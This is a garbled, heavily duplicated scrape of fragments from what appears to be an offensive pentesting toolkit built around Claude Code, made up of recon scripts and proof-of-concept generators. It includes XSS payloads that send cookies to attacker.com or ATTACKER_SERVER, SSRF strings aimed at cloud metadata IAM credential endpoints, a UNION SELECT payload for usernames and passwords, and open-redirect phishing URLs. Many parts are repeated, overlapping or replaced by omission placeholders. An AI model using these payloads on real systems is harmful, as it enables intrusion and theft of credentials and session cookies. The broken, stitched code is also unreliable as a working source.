Orizon-eu/claude-code-pentest

- Affected endpoint and method - Request/response showing the issue - curl command for reproduction

- Request/response showing the issue - curl command for reproduction - Impact assessment

- curl command for reproduction

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

domain = args.domain.strip().lower()     if not domain.startswith("http"):         base_url = f"https://{domain}"

if not domain.startswith("http"):         base_url = f"https://{domain}"     else:

base_url = f"https://{domain}"

#!/usr/bin/env python3

"""Build a curl command for reproducing the finding."""

parts = [f"curl -X {method}"]

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

## Reference - Full matrix: https://attack.mitre.org/

- Full matrix: https://attack.mitre.org/

- Navigator: https://mitre-attack.github.io/attack-navigator/

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return dict(resp.headers)

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

ctx.check_hostname = False             ctx.verify_mode = ssl.CERT_NONE             with socket.create_connection((host, 443), timeout=3) as sock:

ctx.verify_mode = ssl.CERT_NONE             with socket.create_connection((host, 443), timeout=3) as sock:                 with ctx.wrap_socket(sock, server_hostname=host) as ssock:

with socket.create_connection((host, 443), timeout=3) as sock:

[Credential-related source omitted]

#!/usr/bin/env python3

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.status, resp.read(32768).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

url = f"https://{name}.s3.amazonaws.com/"

url2 = f"https://s3.amazonaws.com/{name}/"

url = f"https://storage.googleapis.com/{name}/"

url = f"https://{name}.blob.core.windows.net/?comp=list"

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

CLOUD_STATE_URLS = {     "s3_tfstate": [         "https://{name}.s3.amazonaws.com/terraform.tfstate",

"s3_tfstate": [         "https://{name}.s3.amazonaws.com/terraform.tfstate",         "https://{name}.s3.amazonaws.com/env/prod/terraform.tfstate",

"https://{name}.s3.amazonaws.com/terraform.tfstate",

"https://{name}.s3.amazonaws.com/env/prod/terraform.tfstate",

"https://{name}.s3.amazonaws.com/env/dev/terraform.tfstate",

"https://{name}.s3.amazonaws.com/state/terraform.tfstate",

],     "gcs_tfstate": [         "https://storage.googleapis.com/{name}/terraform.tfstate",

"gcs_tfstate": [         "https://storage.googleapis.com/{name}/terraform.tfstate",         "https://storage.googleapis.com/{name}/default.tfstate",

"https://storage.googleapis.com/{name}/terraform.tfstate",

"https://storage.googleapis.com/{name}/default.tfstate",

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             headers = dict(resp.headers)

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

ctx.check_hostname = False         ctx.verify_mode = ssl.CERT_NONE         req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE         req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})         try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:             with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:                 headers = dict(resp.headers)

with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:

#!/usr/bin/env python3

#!/usr/bin/env python3

METADATA_ENDPOINTS = {     "AWS IMDSv1": {         "url": "http://169.254.169.254/latest/meta-data/",

"AWS IMDSv1": {         "url": "http://169.254.169.254/latest/meta-data/",         "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"url": "http://169.254.169.254/latest/meta-data/",

"credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",

},     "AWS IMDSv2": {         "url": "http://169.254.169.254/latest/meta-data/",

"AWS IMDSv2": {         "url": "http://169.254.169.254/latest/meta-data/",         "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"url": "http://169.254.169.254/latest/meta-data/",

"credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"token_header": "X-aws-ec2-metadata-token",         "token_url": "http://169.254.169.254/latest/api/token",         "provider": "AWS",

"token_url": "http://169.254.169.254/latest/api/token",

},     "GCP Metadata": {         "url": "http://metadata.google.internal/computeMetadata/v1/",

"GCP Metadata": {         "url": "http://metadata.google.internal/computeMetadata/v1/",         "credential_path": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",

"url": "http://metadata.google.internal/computeMetadata/v1/",

"credential_path": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",

},     "Azure IMDS": {         "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",

"Azure IMDS": {         "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",         "credential_path": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com

"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",

"credential_path": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",

},     "DigitalOcean Metadata": {         "url": "http://169.254.169.254/metadata/v1/",

"DigitalOcean Metadata": {         "url": "http://169.254.169.254/metadata/v1/",         "credential_path": None,

"url": "http://169.254.169.254/metadata/v1/",

if extra_headers:         headers.update(extra_headers)     req = urllib.request.Request(url, headers=headers)

headers.update(extra_headers)     req = urllib.request.Request(url, headers=headers)     try:

req = urllib.request.Request(url, headers=headers)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(32768).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             headers = dict(resp.headers)

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

for scheme in ["https", "http"]:         url = f"{scheme}://{hostname}/"         req = urllib.request.Request(url, headers={

url = f"{scheme}://{hostname}/"         req = urllib.request.Request(url, headers={             "User-Agent": "orizon-recon/1.0",

req = urllib.request.Request(url, headers={

})         try:             with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

try:             with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:                 body = resp.read(16384).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

sudo apt install nmap

sudo pacman -S nmap

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

for template in templates:             query = template.format(domain=domain)             search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"

query = template.format(domain=domain)             search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"             results[category].append({

search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"

for template in custom:                 query = template.replace("{domain}", domain)                 search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"

query = template.replace("{domain}", domain)                 search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"                 dorks["custom"].append({"query": query, "url": search_url})

search_url = f"https://www.google.com/search?q={urllib.parse.quote(query)}"

#!/usr/bin/env python3

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.read().decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

log(f"Running reverse IP lookup on {ip}...")     url = f"https://api.hackertarget.com/reverseiplookup/?q={ip}"

url = f"https://api.hackertarget.com/reverseiplookup/?q={ip}"

url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,isp,org,as,query"

[Credential-related source omitted]

[Credential-related source omitted]

urls = []     for dork in dorks:         search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"

for dork in dorks:         search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"         urls.append({"query": dork, "url": search_url})

search_url = f"https://github.com/search?q={urllib.parse.quote(dork)}&type=code"

#!/usr/bin/env python3

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.read().decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

log(f"Querying crt.sh for {domain}...")     url = f"https://crt.sh/?q=%25.{urllib.parse.quote(domain)}&output=json"

url = f"https://crt.sh/?q=%25.{urllib.parse.quote(domain)}&output=json"

log(f"Querying HackerTarget for {domain}...")     url = f"https://api.hackertarget.com/hostsearch/?q={urllib.parse.quote(domain)}"

url = f"https://api.hackertarget.com/hostsearch/?q={urllib.parse.quote(domain)}"

log(f"Querying RapidDNS for {domain}...")     url = f"https://rapiddns.io/subdomain/{urllib.parse.quote(domain)}?full=1"

url = f"https://rapiddns.io/subdomain/{urllib.parse.quote(domain)}?full=1"

log(f"Querying Wayback Machine for {domain}...")     url = f"https://web.archive.org/cdx/search/cdx?url=*.{urllib.parse.quote(domain)}/*&output=json&fl=original&collapse=urlkey&limit=5000"

url = f"https://web.archive.org/cdx/search/cdx?url=*.{urllib.parse.quote(domain)}/*&output=json&fl=original&collapse=urlkey&limit=5000"

#!/usr/bin/env python3

try:         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(8192).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={         "User-Agent": "Mozilla/5.0 (compatible; orizon-recon/1.0)"

req = urllib.request.Request(url, headers={

})     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(32768).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

ctx.check_hostname = False     ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

ctx.verify_mode = ssl.CERT_NONE     req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})     try:

req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"})

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             return resp.read().decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

log(f"Fetching Wayback Machine URLs for {domain}...")     url = (         f"https://web.archive.org/cdx/search/cdx?"

url = (         f"https://web.archive.org/cdx/search/cdx?"         f"url=*.{urllib.parse.quote(domain)}/*"

f"https://web.archive.org/cdx/search/cdx?"         f"url=*.{urllib.parse.quote(domain)}/*"         f"&output=json&fl=original,timestamp,statuscode,mimetype"

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

- Validates each step succeeded before continuing    - Generates evidence at each step 3. **curl command sequence** for manual reproduction

- Generates evidence at each step 3. **curl command sequence** for manual reproduction 4. **Video script**: Narrated steps for recording a PoC video

3. **curl command sequence** for manual reproduction

## Proof of Concept [curl commands or script]

[curl commands or script]

2. Write compelling title and summary 3. Format steps to reproduce with exact payloads 4. Include curl commands as PoC

3. Format steps to reproduce with exact payloads 4. Include curl commands as PoC 5. Calculate and justify severity

4. Include curl commands as PoC

#!/usr/bin/env python3

"steps": [                 "Inject payload at {url} parameter {parameter}",                 "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>",

"Inject payload at {url} parameter {parameter}",                 "Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>",                 "Send crafted URL to victim",

"Payload: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>",

"steps": [                 "Submit XSS payload to stored field at {url}",                 "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",

"Submit XSS payload to stored field at {url}",                 "Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",                 "Wait for victim (or admin) to view the page containing stored payload",

"Payload: <script>fetch('https://attacker.com/exfil?d='+document.cookie)</script>",

"steps": [                 "Send SSRF payload to {url} parameter {parameter}",                 "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"Send SSRF payload to {url} parameter {parameter}",                 "Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/",                 "Extract cloud IAM credentials from metadata response",

"Target internal endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"steps": [                 "Exploit SSRF at {url} to reach metadata endpoint",                 "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"Exploit SSRF at {url} to reach metadata endpoint",                 "AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/",                 "GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts

"AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",

"Azure: http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",

"tools": ["browser", "curl"],             "steps": [                 "Craft redirect URL: {url}?redirect=https://attacker.com/phish",

"steps": [                 "Craft redirect URL: {url}?redirect=https://attacker.com/phish",                 "If used in OAuth flow, redirect steals authorization code",

"Craft redirect URL: {url}?redirect=https://attacker.com/phish",

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

""" Chain PoC Generator - vuln-chain-composer Generates Python scripts and curl commands that demonstrate full chain exploitation.

Chain PoC Generator - vuln-chain-composer Generates Python scripts and curl commands that demonstrate full chain exploitation. Author: orizon.one

Generates Python scripts and curl commands that demonstrate full chain exploitation.

def generate_curl_command(step, finding):     """Generate a curl command for a single exploitation step."""

"""Generate a curl command for a single exploitation step."""

url = finding.get("url", step.get("target", "https://TARGET"))

inject_payload = "' UNION SELECT username,password FROM users--"         if method == "GET":             return f"curl -s -k '{url}?{parameter}={inject_payload}'"

if method == "GET":             return f"curl -s -k '{url}?{parameter}={inject_payload}'"         else:

return f"curl -s -k '{url}?{parameter}={inject_payload}'"

return f"curl -s -k -X POST '{url}' -d '{parameter}={inject_payload}'"

elif "xss" in vuln_type:         xss_payload = payload or "<script>document.location='https://ATTACKER_SERVER/steal?c='+document.cookie</script>"

xss_payload = payload or "<script>document.location='https://ATTACKER_SERVER/steal?c='+document.cookie</script>"         if method == "GET":             return f"curl -s -k '{url}?{parameter}={xss_payload}'"

if method == "GET":             return f"curl -s -k '{url}?{parameter}={xss_payload}'"         else:

return f"curl -s -k '{url}?{parameter}={xss_payload}'"

return f"curl -s -k -X POST '{url}' -d '{parameter}={xss_payload}'"

elif "ssrf" in vuln_type:         ssrf_target = payload or "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

ssrf_target = payload or "http://169.254.169.254/latest/meta-data/iam/security-credentials/"         if method == "GET":             return f"curl -s -k '{url}?{parameter}={ssrf_target}'"

if method == "GET":             return f"curl -s -k '{url}?{parameter}={ssrf_target}'"         else:

return f"curl -s -k '{url}?{parameter}={ssrf_target}'"

return f"curl -s -k -X POST '{url}' -d '{parameter}={ssrf_target}'"

elif "redirect" in vuln_type:         return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'"

return f"curl -s -k -L '{url}?redirect=https://ATTACKER_SERVER/capture'"

elif "bucket" in vuln_type:         return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request"

return f"curl -s -k '{url}' | head -50\n# Or: aws s3 ls s3://BUCKET_NAME --no-sign-request"

elif "ssti" in vuln_type:         ssti_payload = payload or "{{7*7}}"         return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'"

return f"curl -s -k '{url}' -d '{parameter}={ssti_payload}'"

else:         if method == "GET":             return f"curl -s -k '{url}'"

if method == "GET":             return f"curl -s -k '{url}'"         else:

return f"curl -s -k '{url}'"

return f"curl -s -k -X POST '{url}' -d '{parameter}={payload or \"test\"}'"

lines.append('"""')     lines.append('')     lines.append('import http.client')

lines.append('')     lines.append('import http.client')     lines.append('import json')

lines.append('import http.client')

lines.append('')     lines.append('# Configuration - UPDATE THESE VALUES')     lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"')

lines.append('# Configuration - UPDATE THESE VALUES')     lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"')     lines.append('SESSION_COOKIE = "YOUR_SESSION_COOKIE"')

lines.append(f'TARGET = "{primary.get("url", "https://TARGET")}"')

lines.append('SESSION_COOKIE = "YOUR_SESSION_COOKIE"')     lines.append('ATTACKER_SERVER = "https://YOUR_ATTACKER_SERVER"')     lines.append('')

lines.append('ATTACKER_SERVER = "https://YOUR_ATTACKER_SERVER"')

lines.append('')     lines.append('    if scheme == "https":')     lines.append('        conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')

lines.append('    if scheme == "https":')     lines.append('        conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')     lines.append('    else:')

lines.append('        conn = http.client.HTTPSConnection(host, port, context=CTX, timeout=10)')

lines.append('    else:')     lines.append('        conn = http.client.HTTPConnection(host, port, timeout=10)')     lines.append('')

lines.append('        conn = http.client.HTTPConnection(host, port, timeout=10)')

def generate_curl_sequence(chain):     """Generate a sequence of curl commands for the chain."""

"""Generate a sequence of curl commands for the chain."""

action = step.get("action", "")                 lines.append(f"echo 'Step {step_num}: {action}'")             curl = generate_curl_command(phase, finding)

lines.append(f"echo 'Step {step_num}: {action}'")             curl = generate_curl_command(phase, finding)             lines.append(curl)

curl = generate_curl_command(phase, finding)

finding = all_findings[min(i, len(all_findings) - 1)] if all_findings else {}             if isinstance(finding, dict):                 curl = generate_curl_command({"target": finding.get("url", "")}, finding)

if isinstance(finding, dict):                 curl = generate_curl_command({"target": finding.get("url", "")}, finding)                 lines.append(curl)

curl = generate_curl_command({"target": finding.get("url", "")}, finding)

print(f"{'='*60}")     print(f"  Chains processed  : {len(poc_results)}")     print(f"  PoC types per chain: Python script, curl sequence, video script")

print(f"  Chains processed  : {len(poc_results)}")     print(f"  PoC types per chain: Python script, curl sequence, video script")     if output_dir:

print(f"  PoC types per chain: Python script, curl sequence, video script")

#!/usr/bin/env python3

#!/usr/bin/env python3

findings.append({                     "type": "info_disclosure",                     "url": f"https://{host}:{port}",

"type": "info_disclosure",                     "url": f"https://{host}:{port}",                     "severity": "INFO",

"url": f"https://{host}:{port}",

findings.append({                             "type": "info_disclosure",                             "url": f"https://{target}",

"type": "info_disclosure",                             "url": f"https://{target}",                             "severity": "LOW",

"url": f"https://{target}",

findings.append({                     "type": "info_disclosure",                     "url": f"https://{subdomain}",

"type": "info_disclosure",                     "url": f"https://{subdomain}",                     "severity": "INFO",

"url": f"https://{subdomain}",

findings.append({                 "type": f"attack_path_{path.get('attack_name', 'unknown').lower().replace(' ', '_')}",                 "url": f"https://{path.get('target', '')}",

"type": f"attack_path_{path.get('attack_name', 'unknown').lower().replace(' ', '_')}",                 "url": f"https://{path.get('target', '')}",                 "severity": "HIGH" if path.get("combined_score", 0) >= 7 else "MEDIUM",

"url": f"https://{path.get('target', '')}",

findings.append({                 "type": "public_bucket",                 "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"],

"type": "public_bucket",                 "url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"],                 "severity": "HIGH",

"url": f"https://{bucket['name']}.s3.amazonaws.com/" if bucket.get("provider") == "aws_s3" else bucket["name"],

findings.append({                     "type": "subdomain_takeover",                     "url": f"https://{rel.get('source', '')}",

"type": "subdomain_takeover",                     "url": f"https://{rel.get('source', '')}",                     "severity": "HIGH",

"url": f"https://{rel.get('source', '')}",

findings.append({                     "type": "trust_relationship",                     "url": f"https://{rel.get('source', rel.get('from', ''))}",

"type": "trust_relationship",                     "url": f"https://{rel.get('source', rel.get('from', ''))}",                     "severity": "INFO",

"url": f"https://{rel.get('source', rel.get('from', ''))}",

findings.append({                         "type": "trust_relationship",                         "url": f"https://{source}",

"type": "trust_relationship",                         "url": f"https://{source}",                         "severity": "INFO",

"url": f"https://{source}",

findings.append({                     "type": f"attack_path_{goal.lower().replace(' ', '_')[:50]}",                     "url": f"https://{target}" if target else "",

"type": f"attack_path_{goal.lower().replace(' ', '_')[:50]}",                     "url": f"https://{target}" if target else "",                     "severity": "CRITICAL" if score >= 9 else "HIGH" if score >= 7 else "MEDIUM",

"url": f"https://{target}" if target else "",

Generate: 1. **curl command** that demonstrates the vulnerability

1. **curl command** that demonstrates the vulnerability

#!/usr/bin/env python3

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

decoded = base64.b64decode(part)

test_origins = [         "https://evil.com",

"https://evil.com",

"https://attacker.example.com",

test_origins.append(f"https://{parsed.hostname}.evil.com")

#!/usr/bin/env python3

req = urllib.request.Request(url, headers=default_headers)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

[Credential-related source omitted]

target = args.target.strip()     if not target.startswith("http"):         target = f"https://{target}"

target = f"https://{target}"

#!/usr/bin/env python3

# ─── curl PoC generators ─────────────────────────────────────────────────────

"""Generate curl command for SQLi finding."""

new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"

test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     else:

return f"curl -k -v '{test_url}'"

else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"

return f"curl -k -v -X POST '{url}' -d '{encoded}'"

"""Generate curl command for XSS finding."""

else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"

return f"curl -k -v -X POST '{url}' -d '{encoded}'"

"""Generate curl command for SSRF finding."""

url = finding.get("url", "")     param = finding.get("param", "")     payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")

param = finding.get("param", "")     payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")     method = finding.get("method", "GET")

payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")

new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"

test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     else:

return f"curl -k -v '{test_url}'"

else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"

return f"curl -k -v -X POST '{url}' -d '{encoded}'"

"""Generate curl command for SSTI finding."""

new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"

test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     else:

return f"curl -k -v '{test_url}'"

else:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X POST '{url}' -d '{encoded}'"

return f"curl -k -v -X POST '{url}' -d '{encoded}'"

"""Generate curl command for race condition finding."""

f"# Send {threads} parallel requests:\n"         f"seq 1 {threads} | xargs -P {threads} -I {{}} "         f"curl -k -X {method} '{url}'"

f"seq 1 {threads} | xargs -P {threads} -I {{}} "         f"curl -k -X {method} '{url}'"     )

f"curl -k -X {method} '{url}'"

"""Generate curl command for a generic finding."""

